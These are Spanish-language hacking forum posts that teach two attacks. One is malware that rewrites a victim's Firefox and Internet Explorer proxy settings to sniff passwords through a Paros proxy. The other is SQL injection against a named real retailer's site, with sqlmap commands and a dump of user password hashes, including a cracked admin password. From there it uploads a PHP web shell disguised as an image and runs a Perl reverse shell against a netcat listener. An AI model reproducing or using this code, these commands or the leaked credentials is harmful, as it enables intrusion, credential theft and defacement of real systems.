user_pref("app.update.lastUpdateTime.background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.blocklist-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.microsummary-generator-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1325582074);
user_pref("browser.download.manager.alertOnEXEOpen", true);
user_pref("browser.migration.version", 1);
user_pref("browser.places.importDefaults", false);
user_pref("browser.places.migratePostDataAnnotations", false);
user_pref("browser.places.smartBookmarksVersion", 1);
user_pref("browser.places.updateRecentTagsUri", false);
user_pref("browser.preferences.advanced.selectedTabIndex", 1);
user_pref("browser.rights.3.shown", true);
user_pref("browser.search.defaultenginename", "SweetIM Search");
user_pref("browser.search.defaulturl", "");
user_pref("browser.search.selectedEngine", "SweetIM Search");
user_pref("browser.startup.homepage", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("browser.startup.homepage_override.mstone", "rv:1.9.0.5");
user_pref("extensions.enabledItems", "{e001c731-5e37-4538-a5cb-8168736a2360}:0.9.9.114,[email protected]:1.4.1,{20a82645-c095-46ed-80e3-08825760534b}:1.0,{EEE6C361-6118-11DC-9C72-001320C79847}:1.2.0.2,{972ce4c6-7e08-4474-a285-3208198ce6fd}:3.0.5");
user_pref("extensions.facemoods.DNSErrUrl", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("extensions.facemoods.aflt", "_#nv1");
user_pref("extensions.facemoods.dfltSrch", false);
user_pref("extensions.facemoods.dnsErr", false);
user_pref("extensions.facemoods.fcmdVrsn", "1.2.7.5.4");
user_pref("extensions.facemoods.firstRun", false);
user_pref("extensions.facemoods.first_time", false);
user_pref("extensions.facemoods.hmpg", false);
user_pref("extensions.facemoods.hmpgUrl", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("extensions.facemoods.id", "_#142e8e7b0000000000000800276b6377");
user_pref("extensions.facemoods.instlDay", "_#15321");
user_pref("extensions.facemoods.mntz", "");
user_pref("extensions.facemoods.newTab", false);
user_pref("extensions.facemoods.prtnrId", "_#facemoods.com");
user_pref("extensions.facemoods.searchProviderAdded", false);
user_pref("extensions.facemoods.sid", "_#408714f6355a4f9b85e1b2f01e44ea3e");
user_pref("extensions.facemoods.tlbrSrchUrl", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("extensions.facemoods.update", "_#v1.4.0");
user_pref("extensions.facemoods.vrsn", "_#1.4.17.11");
user_pref("extensions.update.notifyUser", false);
user_pref("general.useragent.extra.microsoftdotnet", "(.NET CLR 3.5.30729)");
user_pref("intl.charsetmenu.browser.cache", "UTF-8");
user_pref("keyword.URL", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("network.cookie.prefsMigrated", true);
user_pref("network.proxy.backup.ftp", "192.168.0.2");
user_pref("network.proxy.backup.ftp_port", 9669);
user_pref("network.proxy.backup.gopher", "192.168.0.2");
user_pref("network.proxy.backup.gopher_port", 9669);
user_pref("network.proxy.backup.socks", "192.168.0.2");
user_pref("network.proxy.backup.socks_port", 9669);
user_pref("network.proxy.backup.ssl", "192.168.0.2");
user_pref("network.proxy.backup.ssl_port", 9669);
user_pref("network.proxy.ftp", "IPPUBLICA");
user_pref("network.proxy.ftp_port", PUERTO PAROS);
user_pref("network.proxy.gopher", "IPPUBLICA");
user_pref("network.proxy.gopher_port", PUERTO PAROS);
user_pref("network.proxy.http", "IPPUBLICA");
user_pref("network.proxy.http_port", PUERTO PAROS);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "IPPUBLICA");
user_pref("network.proxy.socks_port", PUERTO PAROS);
user_pref("network.proxy.ssl", "IPPUBLICA");
user_pref("network.proxy.ssl_port", PUERTO PAROS);
user_pref("network.proxy.type", 1);
user_pref("privacy.clearOnShutdown.cookies", false);
user_pref("security.warn_viewing_mixed", false);
user_pref("security.warn_viewing_mixed.show_once", false);
user_pref("sweetim.toolbar.highlight.colors", "#FFFF00,#00FFE4,#5AFF00,#0087FF,#FFCC00,#FF00F0");
user_pref("sweetim.toolbar.logger.ConsoleHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.logger.FileHandler.FileName", "ff-toolbar.log");
user_pref("sweetim.toolbar.logger.FileHandler.MaxFileSize", "200000");
user_pref("sweetim.toolbar.logger.FileHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.mode.debug", "false");
user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
user_pref("sweetim.toolbar.previous.browser.search.defaulturl", "");
user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
user_pref("sweetim.toolbar.previous.keyword.URL", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("sweetim.toolbar.search.external", "<?xml version=\"1.0\"?><TOOLBAR><EXTERNAL_SEARCH engine=\"http://*google.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" param=\"p=\" /><EXTERNAL_SEARCH engine=\"http://search.sweetim.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*.live.*/*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*youtube.com/\" param=\"search_query=\" /><EXTERNAL_SEARCH engine=\"http://*.ebay.*/search/*\" param=\"satitle=\" /><EXTERNAL_SEARCH engine=\"http://*.amazon.com/s/*\" param=\"field-keywords=\" /></TOOLBAR>");
user_pref("sweetim.toolbar.search.history.capacity", "10");
user_pref("sweetim.toolbar.searchguard.enable", "true");
user_pref("sweetim.toolbar.simapp_id", "{D1E38357-2567-11E1-A738-0800276B6377}");
user_pref("sweetim.toolbar.urls.homepage", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta");
user_pref("sweetim.toolbar.version", "1.2.0.2");
user_pref("No tienes permitido ver los links. Registrarse o Entrar a mi cuenta", 1342938776);
user_pref("xpinstall.whitelist.add", "");
user_pref("xpinstall.whitelist.add.103", "");

Deben Editar donde dice IPPUBLICA con la Ip del Servidor Paros y donde dice PUERTO PAROS con el Puerto Correspondiente

una ves Creado nuestro prefs.js (desde ahora lo llamaremos prefsh.js) nos vamos a programar nuestro Malware.

Abrimos el Notepad y pegamos lo siguiente (el siguiente Source cambia el Proxy en los Registros de IE)
(Tienen q Sustituir por el Ip del Servidor Proxy Paros donde dice MIIPPUBLICA (ip publica de su pc donde se corre Paros) y donde dice Puerto por el correspondiente Puerto)

@echo off

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d ftp=MIIPPUBLICA:Puerto;http=MIIPPUBLICA:Puerto;https=MIIPPUBLICA:Puerto;socks=MIIPPUBLICA:Puerto /f

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

copy prefsh.js c:\prefsh.js

REM aca sustituimos el prefs.js por nuestro prefsh.js

cd %APPDATA%\Mozilla\Firefox\Profiles\0sx27c3l.default
delete prefs.js
copy c:\prefsh.js %APPDATA%\Mozilla\Firefox\Profiles\prefs.js

exit

Aca tengo una falencia q seguro alguien de Underc0de va a poder aclararme, dado q 0sx27c3l.default es una carpeta creada al momento de instalacion
como podria lograr a traves de batch encontrar el nombre de esa carpeta para luego moverme dentro de ella porq de otra manera el source anterior no funcionaria
en todas las pcs victimas

Pense en moverme primero a %APPDATA%\Mozilla\Firefox\Profiles luego buscar el archivo, con Dir prefs.js /s esto devolveria la hubicacion completa del mismo
y por lo tanto el nombre de esta carpeta default, ahora como puedo utilizar esta ruta o solo sacar el nombre de la carpeta y moverme dentro de ella para lograr
sustituir con exito prefs.js por prefsh.js?

Al finalizar esta parte, tendremos 2 archivos, prefsh.js y el batch y recurriremos a nuestro antiguo amigo iexpress
Crearemos un paquete de ejecucion oculta, meteremos ambos archivos y estableceremos el .bat para la ejecucion post descompresion

Hecho esto tendremos 1 archivo q deberemos mandarcelo a nuesta victima, al ejecutarlo toda informacion q viaje a travez de internet
sera redireccionada a nuestro Proxy y podremos verla en texto sin sifrar.

Como veran en la siguiente fotografia el usuario y password introducidos por la PCVictima se ven reflejados en Paros Proxy en texto Plano



Renuncia: Este contenido es Puramente Educativo, y no me responzabiliso del uso Inadecuado del mismo

No recomiendo para nada esta tecnica, ya q canta muchisimo, al cerrar Proxy Paros se caera la coneccion de la PCVictima y tambien saldran Carteles en los navegadores por falta de certificados, es algo arcaico existiendo los troyanos de hoy en dia, pero es una forma de enteder el sniffing a nivel remoto y una forma distinta a lo comun de lograrlo.

HD_Breaker
#338
Intrucion a un Servidor Por Sqli y Obtener shell Remota

1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"

Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd

Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:

<%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>

Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico



www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1



Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nos vamos a Sqlmap



Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
  • cetrogar
  • information_schema



    Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera

    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar --tables

    Nos Mostrara lo siguiente:


    | activadores                           
    | actualizacion_concurso           
    | bancos_tarjetas                     
    | beneficios_novios                   
    | casamientos                           
    | casamientos_articulos             
    | categorias                             
    | cetre_productosbackup         
    | cetro_productos                     
    | cetro_productos_cosquin       
    | cetro_productos_jesusmaria   
    | cetro_productos_mayo           
    | cetro_productos_tostado       
    | cetro_usuarios                     
    | cetroplus_categoria               
    | cetroplus_productos             
    | envio                             
    | envio_postales                   
    | gerentes                           
    | grupos_concurso               
    | grupos_vendedores           
    | localidad                         
    | log                               
    | marcas                           
    | novedades                     
    | origen                           
    | origenesexcel                 
    | pais                               
    | participantes_concursomama   
    | postales                           
    | premios                           
    | premios_aperturasuc           
    | premios_aperturasuc2         
    | premios_morteros               
    | premios_participantes         
    | premios_participantes_aperturasuc
    | premios_participantes_aperturasuc2
    | premios_participantes_morteros     
    | productos                         
    | promo_ganantodos                   
    | promociones                       
    | provincia                         
    | puntos_cetroplus                   
    | subcategorias                     
    | subproductos                     
    | sucursales                         
    | usuarios                           
    | usuarios_cetroplus                 
    | usuarios_concurso                 
    | vendedores_mensual                 
    | vendedores_trimestral             




    Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera

    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar -T usuarios --columns

    Nos devolvera:

    +--------------+----------------------+
    | Column       | Type                     |
    +--------------+----------------------+
    | ID                | smallint(6) unsigned |
    | nivel_acceso | smallint(4) unsigned |
    | pass             | tinytext                    |
    | usuario         | tinytext                   |
    +--------------+----------------------+

    y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior


    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar -T usuarios --dump

    +----+--------------+-------------------------------------------+-----------+
    | ID | nivel_acceso | pass                                               | usuario   |
    +----+--------------+-------------------------------------------+-----------+
    | 8  | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro|
    | 7  | 0| 992112e53d3eb06c6bb87701a4574052           | silvanac |
    | 6  | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78              | fernando|
    | 5  | 0| 34e09b9b490217de9c31f528a2a8a57d            | rocioc     |
    | 3  | 0| 1d96afbde5ac96a4b3d9814030f541c5             | marianoq|
    | 2  | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n)  | Admin |
    +----+--------------+-------------------------------------------+-----------+



    Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
    (ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    y aca nos aparece nuestro querido panel de logeo



    Ingresamos los datos correspondiente mente y accedemos
    (Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)

    Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
    Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    (Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
    Siendo:
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    donde se almacenan las fotos

    Subimos Nuetras phpshell



    y volvemos a subir la foto original (respaldo para q no cantara)
    ya que si no lo hacemos la imagen aparecera como rota



    Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



    Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:

    #!/usr/bin/perl

    use IO::Socket;

    print q(

    ============
    HD_Breaker
    ============
    );
    $ARGC = @ARGV;
    if ($ARGC != 3){
    print "\nUsage: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta <HOST> <PORT> <OS>";
    exit(0);
    }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $OS = $ARGV[2];
    use Socket;

    print "
  • Connecting to $host ...";
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
    || die "[-] Cannot Resolve $host";
    connect(SOCKET, sockaddr_in($port, inet_aton($host)))
    || die "[-] Cannot Connect to $host";

    print "\n
  • Connected!";

    open(STDIN, ">&SOCKET");
    open(STDOUT,">&SOCKET");
    open(STDERR,">&SOCKET");

    print "\n .::Powered By HD_Breaker";
    if ($OS == "-l"){
    $ejecutor = "/bin/bash";
    system($ejecutor);
    }

    if ($OS == "-w"){
    $ejecutor = "cmd";
    system($ejecutor);
    }


    subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell




    He aqui el porq este Tutorial Empeso por el uso de Netcat

    Abrimos Nuestra consona y ponemos a la escucha un puerto

    Ncat -l -p 9669 -vv 192.168.1.2



    y ejecutamos el ReverseShell desde nuestra phpshell



    y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface



    Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector

    Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.

    HD_Breaker